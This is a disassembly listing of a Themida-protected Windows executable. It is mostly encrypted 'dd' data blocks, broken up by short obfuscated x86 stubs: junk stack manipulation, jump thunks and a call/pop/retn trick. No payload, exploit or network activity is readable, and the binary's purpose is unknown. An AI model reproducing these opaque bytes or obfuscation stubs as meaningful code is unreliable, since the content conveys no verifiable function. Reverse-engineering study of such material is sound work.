54B9109Dh, 0E170E272h, 8A70C1A0h dd 79D5654Dh, 0E51FA9E8h, 450F9E54h, 0EA0FCD65h, 7B7A341h dd 8B000000h, 8CC4h, 6CBD6A00h, 0A22051E0h, 0EC109DA4h dd 7C5E0982h, 7A5C64EAh, 644665E7h, 66747CD2h, 859EF44h dd 0CC1EE4CBh, 0D6630CF6h, 0AF1E7F0Eh, 3A54109Dh, 0A53416C1h dd 0B9B99EAFh, 80A45727h, 0DA6B4F2Eh, 1AA2E372h, 5A5A338h dd 7CD60728h, 45109CC5h, 0BD5EF8C0h, 508FDE6Ah, 0B4A4FE6Fh dd 286D109Dh, 2F19AEA0h, 61DA781Eh, 8D2A1EB1h, 0B4DF3BAAh dd 65A8109Dh, 2B0E7D5Bh, 0F2109DBCh, 0BE11995Ah, 0FEA6415Ch dd 0C415FFFFh, 3A6h, 0E06CBD6Ah, 1571E4C3h, 0DE109DB5h dd 0B5128C01h, 0BADB109Dh, 235211DBh, 109DB4B3h, 8517409Dh dd 4B1C8780h, 0F794FEC6h, 7452FA4Bh, 7251FB4Eh, 0C087584Dh dd 559FE727h, 0AEF76796h, 0C213109Eh, 89D878C7h, 6D4A6908h dd 9EAE9EF8h, 9E266710h, 8EF8F14Fh, 654BC31h, 86A91686h dd 85EEFB57h, 7741C40Ah, 0ECB6ABEAh, 15800B50h, 6597B56h dd 81CD0000h, 83D3F5D5h, 73C5EBCBh, 82D1F7D7h, 7BCAF0CEh dd 65CAF9D9h, 3B9BB908h, 2B8BC715h, 3896B205h, 2D8DBF12h dd 50CA3B24h, 1916B67Ch, 0E5C25E00h, 9DB51670h, 36BEDF10h dd 0AABB9124h, 9C3B19A8h, 162721B6h, 0C9EFEDF7h, 0D3F7D478h dd 5DECCE86h, 0C9EFEDF7h, 4589D87Ch, 50D5CF8h, 0F544EE8Bh dd 15E37F5Fh, 0F7A341E6h, 0D10684D3h, 3E2A3761h, 940BD5B4h dd 2BAh, 83DDC2AAh, 0B66D8988h, 57F487ABh, 162C970h, 1E647BB7h dd 54EBE4Fh, 3DC9EE74h, 5DD0A0CCh, 95B2A250h, 0AF67E660h dd 3DB0AF11h, 11AF67E1h, 0C20A6BAAh, 2815Bh, 7567C00h dd 78193B8Ah, 0BCA3E670h, 42BEE9C6h, 3BCBD6F6h, 2B4A0054h dd 0AF93B4A1h, 0E0213020h, 0DA2DA9D8h, 4166109Dh, 0B181DA93h dd 4E9B252Ah, 7D0F7ECFh, 0F8EE73ECh, 1CFFD8Eh dd 0A9A25045h, 23Eh, 0C6BCA38Dh, 0B51E74E9h, 0BEDF109Dh dd 4AEE5EAFh, 0FB4EEE73h, 6CBE0051h, 0DD6BC0E2h, 0A516588Ch dd 6CDD29B0h, 94997BBh, 0E75917BFh, 0B01A250h, 55000002h dd 57F7DDC2h, 9343471Dh, 0CDF2ED49h, 14B3D27Eh, 9DFF6DE1h dd 0C8E72610h, 0B80052E2h, 9568D829h, 0A7E3EE73h, 0AA2AEA12h dd 0E3CCA250h, 9A797A9Fh, 2178407Ch, 1D2h, 4CE0C235h, 97A6AE3Bh dd 4461776h, 0F1FB9AB0h, 0E1FE4EDFh, 92236AF9h, 0B6AABBAh dd 8D2022C1h, 543720BFh, 8D9B8FBh, 9D99B701h, 3A654244h dd 523661CAh, 67747CC8h, 7DCF6248h, 66D91473h, 0F0D2168Fh dd 3A802A5Eh, 8957598Ch, 0B03859E8h, 65E11433h, 990A8B2Fh dd 0D538074Bh, 0F654A5B4h, 4D0A8B2Eh, 62BC310Eh, 2B0A8B2Fh dd 0D9B89827h, 61B1A3F2h, 0BF09B9D5h, 0C888B445h, 705AAC01h dd 52h, 5BEA3C6h, 57DAD1B3h, 0B1D51D2Ah, 2D12B1D0h, 800D2507h dd 59864E67h, 8F8D2524h, 0B3416616h, 7AA3613Fh, 60ED9037h dd 36089C1Fh, 0EF1E41AEh, 0A8AC973h, 0A9B8D93Ch, 8AC8FA58h dd 44B5510Ah, 0ACFE5818h, 0EA005Ah, 0EFD30000h, 2061F060h dd 6CBD3E98h, 0B557B322h, 0FD20109Dh, 3C89CD9Ch, 250A4918h dd 0D17A1BA2h, 0D99E0527h, 27322F4Bh, 9F3224ACh, 98BF9CADh dd 0A19EBE7Eh, 66E87A03h, 0DD7B6D7h, 0BE0F7ACBh, 0DD1C3BC8h dd 0A8C921FDh, 92C5EAC9h, 5FC08A98h, 598CCA12h, 109E2DC8h dd 97EE4169h, 5C640545h, 36A7E77Ah, 109E2CDCh, 124360A5h dd 109E2CB8h, 5D7D1C81h, 617E0861h, 888A982Ch, 8A1D0516h dd 666EAFBEh, 3278409h, 1F409EB6h, 0B7DEAC3Bh, 0ACBB4D06h dd 5C7E4627h, 0FA54890Dh, 0C30A87E4h, 7E2E2342h, 93800D46h dd 37DF9D4h, 1DA90000h, 27B79939h, 0FA18727h, 26B59B3Bh dd 17A68C2Ah, 81AE9D3Dh, 5777DD6Ch, 4F6FE371h, 5472D669h dd 5171DB6Eh, 0BC164788h, 8516B67Dh, 70BD320Ch, 51E4C6E4h dd 0D8FADBFBh, 55FFC987h, 51E06CBDh, 5270DC6Dh, 9DB4A223h dd 0E99DC410h, 0AC129BCAh, 0D233168Eh, 6CBD56F4h, 0DC6D51E0h dd 0B565270h, 0E2765C7Bh, 30B8D968h, 0A377B223h, 9D00168Eh dd 9EDD3DCCh, 0DA340A8Ah, 0C7D3B61h, 2FE55AADh, 79000000h dd 0EBC8BEA3h, 8E989B7Ah, 18296C16h, 8A8969E9h, 0AF93C00Ah dd 69A32D1Dh, 3EECACD0h, 0D4545AADh, 67000000h, 0D5CF443h dd 0B4962A8Ch, 6CBDB22Ch, 4D7251E0h, 88371DD1h, 488A52EFh dd 0C80A5BF9h, 4486D775h, 87B5BF1h, 109E2159h, 0CBE864F5h dd 0F13D17E4h, 0D51FF1ABh, 3184A687h, 1CB4A1Bh, 7FCE7ECFh dd 815E2841h, 8EB4A10Ch, 0ECCB4A16h, 0B2409ACBh, 84090A8Ah dd 0C7221E3Ch, 51ED20BFh, 5A10751Bh, 27B69C3Bh, 1EAB8D2Dh dd 6A534336h, 0D59479FAh, 25EF8h, 0DC7AC800h, 0C48ADCFEh dd 0DA70C4E6h, 0CB85D6FCh, 0DC78C5EBh, 0B60CFFEh, 123896BEh dd 103290C2h, 0B2D8DBBh, 273492BAh, 8059B528h, 0EF2216B6h dd 1E70BD53h, 942728F0h, 3F64A5B4h, 7655DF7Dh, 9DF18B07h dd 50315410h, 4FFD5072h, 0FF7E4770h, 4B1A3685h, 0BE25E5CAh dd 60014BDEh, 0A3E07A58h, 7AEBC8BEh, 168E989Bh, 2966F6DCh dd 67A6B79Bh, 2931BE06h, 62A3B296h, 0F5EEC40h, 2F5EEF8Eh dd 0A8A88AFh, 9D2D58EBh, 61A0B1h, 0C8BA0D31h, 0AEF5BD13h dd 0FC4D2C55h, 5342B7DBh, 0D7654D8Ah, 442523B8h, 26CDF25Fh dd 6B755069h, 0DBFFA821h, 4E70C189h, 850455FFh, 0B484DCE4h dd 1C5AAD26h, 0DAh, 0EFD698BFh, 92A3A739h, 0D4A74C73h dd 808A0479h, 32530A8Ah, 57B66C53h, 1BEDBF5Eh, 6CBD07D1h dd 0E06D51E0h, 0C4E6E574h, 0A8BDA70h, 0B09243C2h, 9B2E109Dh dd 9E2F11B1h, 48A19FAEh, 0A1BEA13Eh, 9DAFF26Ch, 925ABB10h dd 8E80A6F3h, 0BA0B4F16h, 2342C392h, 655E8383h, 0EAE0B2D4h dd 3CFD8E3Ch, 0EC8D0C5Dh, 0F1C39ECFh, 98C1074h, 5D3988AAh dd 74EDAE28h, 77167704h, 0ADE47157h, 1E20311Dh, 0C1A0C18Bh dd 0FA4FB08Ch, 134EDD79h, 10Bh, 2787CF1Bh, 3D9DB101h, 2181C91Bh dd 2A0B0FFh, 0E3C39120h, 0BF0E7FB0h, 0C5133595h, 0B80B2D8Dh dd 0BD103290h, 3D222F8Fh, 0B6814EC8h, 60021716h, 0C6E470BDh dd 0DCFB51E4h, 0B5108AFBh, 0BC41109Dh, 85644CB4h, 18A0E572h dd 6CBDA03Ah, 557251E0h, 9DB4A620h, 0A62E6F10h, 0D36821B4h dd 98B71475h, 9DB4E965h, 0C28E1D10h, 0DBC44A75h, 0DFC1E750h dd 0E82836BEh, 0CDBDBF01h, 2C7CD74Fh, 61A0B197h, 65426100h dd 44B71342h, 5A80109Eh, 98F9480Ah, 2C50D2F9h, 0F2F3E4CCh dd 0B52D9BEAh, 0FB1A1685h, 77D5686Ah, 6CE07157h, 0FAB684Fh dd 9A932C6Dh, 9629352h, 8A33BB0Fh, 6EBF7308h, 87DA00DEh dd 735774C5h, 0DE38ADE3h, 0A7E1370Eh, 16A30766h, 13A4B63Eh dd 0B6382C3Dh, 4D3C8D45h, 902E4FFBh, 1BAA90AFh, 0ECE4839h dd 7697E137h, 73D96C6Eh, 1EBE6B54h, 37CFA34Ah, 0C233EADh dd 0BF000000h, 392CDDC2h, 6B9C8D4h, 0BD885ABEh, 7254E571h dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h dd 2D112030h, 0BC9EAF9Bh, 2215242Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 47DEh mov [esp], edi push 21FBh mov [esp], ecx push ecx mov ecx, 73E07B0Dh mov edi, 79F93B62h add edi, 219C4080h sub edi, ecx sub edi, 219C4080h pop ecx push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi pop dword ptr [ecx+8] mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- dd 0AC7B893Ch, 18CD8EB8h, 0FFC50306h, 0C51D1BE0h, 0FAAB0129h dd 0D09F0313h, 7298FA1Dh, 49846357h, 568C0E07h, 0F89D3E3Fh dd 1E3D03Dh, 4A90013h, 4B8BB270h, 73727D73h, 358C1C58h dd 0DE7EA2Bh, 62B9C00h, 5495180Bh, 0B328A97Bh, 6267F35Fh dd 0AC6D5F74h, 7B6D9B16h, 2CDE704h, 7C32BC78h, 0E516FB2Bh dd 0AF8D8D21h, 6A0618CFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 553AC351h, 0F1CA37D5h dd 280C2241h, 0EE8h, 98D8EB00h, 0D12B9D27h, 6D87557Ch dd 29EC09D9h, 1314BDBDh, 12E95F06h, 83000000h, 5DE0FB87h dd 85689186h, 0DA7E90EDh, 9E8F6B4Ch, 0BD8D898Ah, 6A06131Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 3CB6C351h, 6C910249h, 0E8E6535Ch, 11h, 6CFA22EFh dd 0D826DCFFh, 48E619CDh, 23118594h, 85C75F96h, 61318DDh dd 6314h, 5BD9533h, 85C70613h, 6133055h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5D9203 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D9203 proc near ; CODE XREF: Themida_:005D91FBp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5D9203 endp ; --------------------------------------------------------------------------- db 0EDh dd 35B7EF97h, 95892953h, 6130F59h, 0FFD3B70Fh, 132331B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 19419603h, 0CAAA1B62h, 1D8995FFh, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F96D2C3h, 6AF1BFh, 0DA995FFh, 0C08B0613h, 372D7EEBh dd 2B665812h, 32094700h, 59F66EDEh, 2A3C6992h, 0DA9F3DF6h dd 8C6B9B33h, 0BDDB25CDh, 0EE46F9E4h, 0A25EBC9Ch, 38BB5662h dd 6DD7FCCAh, 6AECED29h, 93D43DBDh, 0B70F9177h, 3A294055h dd 2709821Bh, 38542EB4h, 1B81213Dh, 7FFFC583h, 5D5A3E38h dd 3330B548h, 5C448089h, 86F72B8Bh, 0C8D1DFEBh, 50369DA8h dd 89B17D99h, 0FC86FE46h, 80C6F273h, 0C9CCCEDBh, 36B25B43h dd 64432DFh, 3DE9h, 7A746800h, 12h, 0C51C5700h, 6148434Ah dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h dd 0F4C7009Dh, 6063921Dh, 0DE19h, 3 dup(0) dd 6EE90000h, 6800000Ah, 618D18Bh, 0FAB0DFE9h, 0D2EF68FFh dd 0D5E90618h, 68FFFAB0h, 618D3D8h, 0FAB0CBE9h, 0D48768FFh dd 0C1E90618h, 68FFFAB0h, 618D546h, 0FAB0B7E9h, 0D5EE68FFh dd 0ADE90618h, 68FFFAB0h, 618D694h, 0FAB0A3E9h, 0D87168FFh dd 99E90618h, 68FFFAB0h, 618D95Ch, 0FAB08FE9h, 144290FFh dd 0C4294B6h, 12388CAEh, 133D8EB4h, 14408DB3h, 43A887B6h dd 5A805EF6h, 486A480Ah, 537555F3h, 5F6C4A02h, 84910D80h dd 475A16B6h, 0C8BEA31Bh, 65787AEBh, 0D6011685h, 420FB209h dd 0CE3F9C63h, 0A857354h, 73F0F81Dh, 3C8DB512h, 0AA95B210h dd 0BED67C2Ah, 8EC00872h, 0E440113Bh, 0BB2A89FDh, 106CFF98h dd 66E2755Dh, 7EBA1449h, 283046Ch, 0CBE82DBAh, 0C53856E7h dd 46C7F49h, 3492F312h, 0C091BB0Eh, 674B7D64h, 8A0475D5h dd 53046C7Eh, 0C6DDD6Fh, 49714E6Dh, 820352F6h, 5F8ECB3Ah dd 63470A5Dh, 0F6737DD5h, 0B0ECE297h, 6EFD73DEh, 8A473h dd 5CFA4800h, 440A5C7Eh, 5AF04466h, 4B05567Ch, 5CF8456Bh dd 8BE04F7Eh, 92B8163Eh, 90B21042h, 8BAD0D3Bh, 0A7B4123Ah dd 85D935A8h, 6FA216B6h, 1D6CBDD3h, 1071C08Ch, 4BDEE071h dd 7C65A101h, 3885AD0Ah, 4CC4D1Ch, 0A34BA6D7h, 0B1D4168Eh dd 9EF151A0h, 9F2D0A8Ah, 9F0680F5h, 4ECF0A8Ah, 0AC3C1E2Fh dd 9F1975E8h, 0A3E20A8Ah, 0FD8B73C2h, 0B650998Ch, 21B09245h dd 6331A933h, 0CB5AAD0Ch, 64h, 0C8BEA36Fh, 989B7AEBh, 666C168Eh dd 0B91677D1h, 0F598B196h, 0D3810B68h, 8A8128A2h, 0FACF10Ah dd 8A8184DEh, 0C84D0Ah, 10456261h, 0A8A80B6h, 81247EEFh dd 0A8ED0A8Ah, 2424B79Bh, 4B95F415h, 8A815EBCh, 0E059B50Ah dd 0AD26FCBCh, 0D7645Ah, 58770000h, 8A74A925h, 0AC13720Ah dd 0FC3D74D3h, 5802CAD2h, 51E06CBDh, 0E574E06Dh, 0B63650E1h dd 80CC5DCEh, 0CD55FD1Bh, 28B99DACh, 0F2578624h, 3B109EAEh dd 0A86DE91Ch, 0D736109Eh, 6D4A9BF0h, 9C2401B6h, 852527BAh dd 2B3A12A3h, 15B2D40Dh, 7D7C8F2Ah, 23ADCD21h, 0BEC2C736h dd 7A9B168Eh, 81055C5Ch, 0B3220522h, 0A8AAC57h, 94F3FD20h dd 107515B1h, 86AC0B8Ah, 9BBD1D37h, 8B33404Eh, 213CA5E5h dd 0E9E70D40h, 852479FAh, 74048h, 381EAC00h, 2826B89Ah dd 3614A88Ah, 2F21B298h, 381CA98Fh, 6784AB9Ah, 765C7ADAh dd 6C4E6CE6h, 6F5171D7h, 83506EDEh, 86AD295Ch, 237616B6h dd 2670BD3Fh, 9DB55BB7h, 12C48C10h, 11C0C14Ch, 4A2C342h dd 0E1C18B1Eh, 2BEA347h, 0A603B205h, 6A4928D5h, 0B9D8654Dh dd 0F716272Bh, 0AEA43496h, 17767E9Fh, 168EDF36h, 3995C807h dd 20A8ACFh, 2253E283h, 0A8ACEA4h, 6FFE4CE0h, 0E071D96Bh dd 6F56F3DFh, 0E88F2C66h, 51E072C2h, 6030A830h, 0C85AACF0h dd 94h, 0E06CBD6Eh, 74E06D51h, 0B83194E5h, 0E475109Dh dd 0D5684A68h, 9FCAE677h, 4FE2C8E7h, 0CB0D6FDh, 0B7D41754h dd 0D8BD302Dh, 0B1168E83h, 0DB6B4F6Ch, 2B6B6973h, 2735036h dd 1074CEF0h, 2307A4E9h, 3A20BE96h, 8AB4A9ABh, 0B379FA1Bh dd 657D9F4h, 49950000h, 3B8BAD0Dh, 3B8DB313h, 3A89AF0Fh dd 4392B816h, 0AD82B111h, 4363F140h, 2383CF5Dh, 409EAAFDh dd 2585C71Ah, 48C2331Ch, 1116B688h, 70BDA698h, 75E0C7E4h dd 0E8E7A713h, 0D1F7E5EFh, 54EECC80h, 51E06CBDh, 5270DC6Dh dd 9DB4A323h, 4BBE410h, 6A9910CBh, 568BA731h, 1EAF9330h dd 0F6FE1F2Eh, 476874E9h, 1A051686h, 55AB775Dh, 0AE3B851Bh dd 0DB6A506Fh, 40626F79h, 597F5FEDh, 0D6F54408h, 0E1EB61F4h dd 0A6378CD5h, 0C7E8C7A6h, 85F73C96h, 3880050Ah, 0C6163C1Bh dd 48C5448Ch, 111076F2h, 2DAFD98Ch, 25C479F8h, 5A828h dd 60F64400h, 80CE6042h, 9EAC0022h, 87C91A40h, 0A0B40127h dd 0EF1C1302h, 0EED4F262h, 0F4D6F45Eh, 0E7C9E95Fh, 0BD8F656h dd 893591C4h, 0ABFE16B6h, 0D2DDC2B7h, 0DFC3A1Bh, 81D406CEh dd 7A5D7ACBh, 9E438F0Bh, 0FC51C010h, 676767C3h, 292BB5D8h dd 0B87F698h, 0D4109E5Ah, 7981D0B1h, 75C87A0Fh, 9D5BF7D7h dd 45A3414Fh, 7, 140C419h, 706A0000h, 109DB512h, 7A592D34h dd 8564D00Bh, 33A28516h, 0A84E3D7h, 0F6737DA0h, 30173897h dd 0D64289D2h, 0A9A53575h, 0B6187998h, 0FD1C2D27h, 0FC50E1F3h dd 0E369FCDEh, 7B0B5652h, 4AAC295Ch, 10751076h, 0F786155Dh dd 0BA975679h, 4E9h, 3F9FB703h, 2585C919h, 3999B103h, 2A88C817h dd 3B9BB908h, 77C62708h, 8DDBFDDDh, 70C3E5C5h, 85D8FAD8h dd 0F5DAE7C7h, 0B68A0680h, 0E85ACF16h, 51E06CBDh, 0E170DC6Dh dd 681AAF19h, 0FB5777D5h, 0A341EA3Dh, 1DA5h, 0BF143600h dd 0C2953F89h, 2696DEDDh, 0B22310F5h, 109E4558h, 539DFC21h dd 8D08h, 0BEA3A600h, 787AEBC8h, 91168565h, 3A8BAF0Ch dd 3B8EB412h, 0FDE44011h, 98BB2A89h, 0ED106C95h, 96270BA8h dd 9F3218B6h, 97F658EAh, 77F6AC6h, 0F51835A8h, 3C610A5Ch dd 0DE45F349h, 4C892073h, 441h, 97371FABh, 8D2D21B1h, 913119ABh dd 923020AFh, 933321B0h, 0CF5E8FA0h, 0B5032585h, 0C81B3D9Dh dd 0AD002280h, 2D323F9Fh, 0B68A5EB8h, 50F22716h, 4EE0C2h dd 0B4D832A3h, 7CA1109Dh, 1156974h, 60420000h, 50B180CEh dd 0BEA3CE88h, 0A4786802h, 8BEAAFECh, 52B5B92Ch, 4FCE1686h dd 55F74A70h, 4A025375h, 0E2A4BDFBh, 826F90C5h, 41C4106Dh dd 483D62h, 9E7E28D0h, 90210956h, 0A93C1EBCh, 4B9692A3h dd 538E087Dh, 3657046Dh, 73577857h, 25646CE4h, 0A5E33E8h dd 2D79EC31h, 4673DF84h, 39BAAA7h, 5510000h, 0FF4F7151h dd 0F7496F4Fh, 0FE4D7353h, 0FF4E7452h, 0E9467555h, 0BF1F3584h dd 0A7074B99h, 0BC1A2E81h, 0A9094396h, 0D44EBFA0h, 9D16B68Ah dd 6CBDDA84h, 0DC6D51E0h, 0B4C743B2h, 0D90109Dh, 9B35DD6Ch dd 6BE1741Eh, 0EA21EF4Bh, 0DFC3A341h, 0B8124351h, 81109DC0h dd 0EFEC7D1Ch, 9DC1247Eh, 0C9A8ED10h, 4998FFh, 1C3B0000h dd 9DC16DE9h, 0DB37A610h, 0A4109DC0h, 1CEDD261h, 177EE459h dd 29B33D5Ch, 0EBC8BEA3h, 8EFBA77Ah, 57EAD016h, 1F7EEBF5h dd 3E469AC0h, 0DED70441h, 2989E86Eh, 89D35BBAh, 646970Ah dd 1C2E82A8h, 2EB104Dh, 0BDAE0000h, 6C49186Ah, 7D484DCBh dd 0B8094D1Ch, 0E5183794h, 109DBD69h, 0CB09D332h, 69F854E5h dd 5A78D465h, 6CC0035Eh, 0ED20BFDEh, 168EAB90h, 1465F419h dd 0A8AA6B6h, 0E408810Dh, 5AAD1414h, 44BCh, 0E5C2A200h dd 9DB51670h, 55F74A10h, 13D8706h, 0CC419EE8h, 168E98CDh dd 0D24CC19Eh, 9B0A8A88h, 4503587Ah, 66E41524h, 0A20A8A89h dd 0CDF14012h, 0D83D27Eh, 0F6FFE663h, 3FFD1F9Ch, 0A75AAD3Eh dd 0E0h, 0E06CBDBBh, 0B1E06D51h, 513024h, 77C9DCC3h, 13EFB353h dd 163687C9h, 9AB20347h, 87C3153Dh, 0ADBC9423h, 5976646Ch dd 0AA245976h, 73109DE5h, 0E5E76312h, 0CE1B109Dh, 956B786h dd 48CD3C84h, 91109DE9h, 27361AA9h, 69FCDEE6h, 4EDEC4E3h dd 0CD43504h, 7BC9F1CEh, 0BD0786D7h, 33024A9Bh, 3D9AECF5h dd 55AD351Ah, 1C540063h, 40678277h, 1CB6C13h, 8EFB1782h dd 7D5DC016h, 815E2841h, 7561720Ch, 0BD1A7B10h, 0AF0C4895h dd 0F5121288h, 34C5EA66h, 0C4A922Fh, 0C8BD9726h, 79FAA888h dd 0BE03DE8Dh, 2E000001h dd 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h, 2518B69Eh dd 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh, 6392BD86h dd 16B68CE7h, 0BDC579B0h, 0E4C6E470h, 7DDBFB51h, 0EBC8BEA3h dd 0BD575C7h, 15C6F1CEh, 0DEC5FB85h, 5D3CCB15h, 2E168ECAh dd 0AF2F5EEFh, 0EB0A8AB9h, 6165F45Ch, 0BAEE7FD3h, 8B5243B8h dd 92628AFFh, 3A5AACEFh, 0D4h, 0E06CBD20h, 1507251h, 42134190h dd 381AA2C3h, 260CABA9h, 6607F393h, 85AD5101h, 0AC3455E4h dd 5849CC3Dh, 3C8D109Eh, 3F8FB310h, 351DAB0Fh, 3A8BADABh dd 1E044312h, 9DB1018Eh, 1D2C4DCCh, 0A1C8F4FCh, 0C6E9C6E5h dd 9E513B97h, 37810410h, 8F225DC8h, 27870616h, 278402E7h dd 757DDBB6h, 99EA410h, 59815E3Fh, 486A480Ch, 0B8265BF9h dd 0E979FACAh, 0D30742h, 0CD190000h, 0B7072989h, 0BF113797h dd 0B6052B8Bh, 0C7163C9Ah, 31FE2D8Dh, 0E7C78DDCh, 0FFDF73C1h dd 0E4C286D9h, 0C1E16BBEh, 2CA6D7F8h, 0F516B68Eh, 70BDC29Ch dd 0B55BB726h, 0E124109Dh, 1E042380h, 1475C48Eh, 9DB4E965h dd 8953B210h, 78D4654Bh, 0A4E7775Bh, 0EE2F3E14h, 0B917458Fh dd 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 8564DE29h, 0E5C24316h dd 55E470BDh, 1E3DAC34h, 3A7AD3Ch, 0FD4F99B1h, 2002A0ACh dd 5FAEBF8Dh, 0FEE64B23h, 0BB8ACA17h, 38094997h, 0E7CE6BA7h dd 0F5AD1E54h, 0F7E32264h, 0BABD2421h, 996EE81Dh, 0D637F622h dd 0D22F18B7h, 980F46E1h, 89E866F8h, 9E2F113Fh, 2CBB9FAEh dd 0CD3F1524h, 1933863Ch, 64697B9h, 31A37h, 7BB80000h dd 0E571BDE1h, 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h dd 92C20F33h, 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 89512215h dd 4C181E1h, 83000000h, 0C8704E9h, 24248B24h, 230168h dd 242C8900h, 490068h, 243C8900h, 74B26850h, 48B4BABh dd 4C48324h, 0B3A46135h, 58C5894Dh, 471668h, 24248900h dd 4240483h, 8B9515Fh, 1000000h, 0BB53F9h, 1000000h, 5B2B89CBh dd 243C8B59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- db 0AFh dd 0BBE40734h, 91B6FFC6h, 437AD038h, 0DA54B882h, 0C5030618h dd 0E92EE0FFh, 61624382h, 0B5AA0640h, 3CCB3C5Dh, 8C361113h dd 0DDC606F8h, 478C149Ah, 83DE749Ah, 0D3C07BBEh, 93EA428Eh dd 0AF184840h, 36B76F06h, 1AE47D7Fh, 0E6B1368h, 5DC769CCh dd 16386810h, 0D73649D1h, 0DEC527F0h, 5C347D79h, 0B0E5795Fh dd 5E960230h, 784324D8h, 1C3E6A82h, 0FE877EBh, 0F5000000h dd 7380EEE2h, 944ADE36h, 791C9A1Fh, 8166CC1Dh, 5A6836F0h dd 68D0Fh, 0D7810000h, 47E3C39Fh, 7428C281h, 9E90000h dd 0A000000h, 84A1AEAh, 47BEAEB1h, 1CDDBBh, 0BA666000h dd 0CB8066E0h, 0A8B618Ch, 81CADC80h, 0A7DB09F1h, 0D860F12h dd 0E9000000h, 8, 590AFDB6h, 9F25893Eh, 0A216E981h, 0F1810D9Ch dd 6FF99229h, 3DFEF81h, 0A896F33h, 7161F081h, 0EA831D79h dd 0FFBF0F04h, 20850F4Bh, 0E9000000h, 0Fh, 0D35825B8h dd 48C14493h, 0DD286A69h, 0E90D772Fh, 17h, 3FA9AC53h, 80E25C0Dh dd 93E957E0h, 67FFFFFFh, 3DF788E7h, 0EB732C56h, 24h, 8 dup(0) dd 0BDE900h, 0B5890000h, 618DC0Bh, 173D858Bh, 858B0613h dd 61320F1h, 0DC55B58Dh, 858D0618h, 6164483h, 55C3D0FFh dd 0E8h, 0ED815D00h, 618DC5Bh, 173DBD83h, 0F010613h, 2C85h dd 0BB5FF00h, 8B0618DCh, 1320F185h, 27363506h, 0D0FF3481h dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h dd 18DC0FB5h, 0B5FF5606h, 618DC0Bh, 20F1858Bh, 36350613h dd 0FF348127h, 0CC483D0h, 0DC0FB58Dh, 468B0618h, 4E08314h dd 0F04F883h, 784h, 0E9C03300h, 5, 1B8h, 3DBD8300h, 1061317h dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h, 18DC3485h, 6D858906h dd 0E906130Eh, 9Ch, 4DBAA49Dh, 94h, 5, 1, 0A28h, 2, 76726553h dd 20656369h, 6B636150h, 3220h, 1Dh dup(0) ; --------------------------------------------------------------------------- jmp loc_5DABDB ; --------------------------------------------------------------------------- push 618DF3Ch jmp loc_58442C ; --------------------------------------------------------------------------- push 618E041h jmp loc_58442C ; --------------------------------------------------------------------------- push 618E16Ch jmp loc_58442C ; --------------------------------------------------------------------------- push 618E1D9h jmp loc_58442C ; --------------------------------------------------------------------------- push 618E309h jmp loc_58442C ; --------------------------------------------------------------------------- push 618E362h jmp loc_58442C ; --------------------------------------------------------------------------- push 618E694h jmp loc_58442C ; --------------------------------------------------------------------------- push 618E793h jmp loc_58442C ; --------------------------------------------------------------------------- db 0B0h, 22h, 34h dd 2C22B496h, 3218AC8Eh, 331DAE94h, 3420AD93h, 6388A796h dd 7A607ED6h, 684A68EAh, 735575D3h, 7F4C6AE2h, 91B12D60h dd 277A16B6h, 0D3F92B8h, 6CBD19C3h, 0DC6D51E0h, 0B565270h dd 0CC295C7Bh, 55168EA2h, 72D02130h, 0C90A8A9Fh, 0D0A0CC3Dh dd 0B25AAD0Ch, 0AD113F90h, 0E322331Fh, 36C2D9h, 0A3980000h dd 7AEBC8BEh, 168E989Bh, 0E918296Ch, 0A8A8969h, 2A3B17A5h dd 0A6B79528h, 9A8B0072h, 1A42B753h, 5AAD3E5Ah, 8DC7163Ch dd 0F5DC43h, 0DBFF0000h, 5DF7C189h, 0C3E06CBDh, 0B70151DFh dd 0DD042B28h, 959037E3h, 11A0B23Ah, 0EF3E6443h, 0CF0C5B65h dd 30217DF0h, 0ABEA109Eh, 0C796B607h, 95C7E46h, 0EA3E6443h dd 28B0D160h, 4A4495B9h, 2F9EF86Dh, 2667109Eh, 9E2FDB37h dd 0D9EA410h, 63432243h, 9E2C0BF0h, 4A025310h, 59F3466Ch dd 0D1B5AC08h, 26A0D5F2h, 0EF109E2Bh, 0C43926AEh, 168F30C1h dd 0E559B59Ah, 9BE169AFh, 0F9123206h, 0DDBCDDCBh, 0DEA8C1FDh dd 23898C01h, 65621075h, 751096F0h, 5F3E5F04h, 490B5A80h dd 0D1664C69h, 4B2A20B4h, 0FF519BFAh, 69AFA2B2h, 0A679FA6Fh dd 92DCA07h, 6DF90000h, 57E7C9E9h, 5FF1D7F7h, 56E5CBEBh dd 67F6DCFAh, 51DECDEDh, 7A7AD3Ch, 1FBF9321h, 4A2A639h dd 0E1C18B1Eh, 0C86F7D8h, 0D516B694h, 70BDA2BCh, 0DEBF9321h dd 0C68AD901h, 67FAE0FEh, 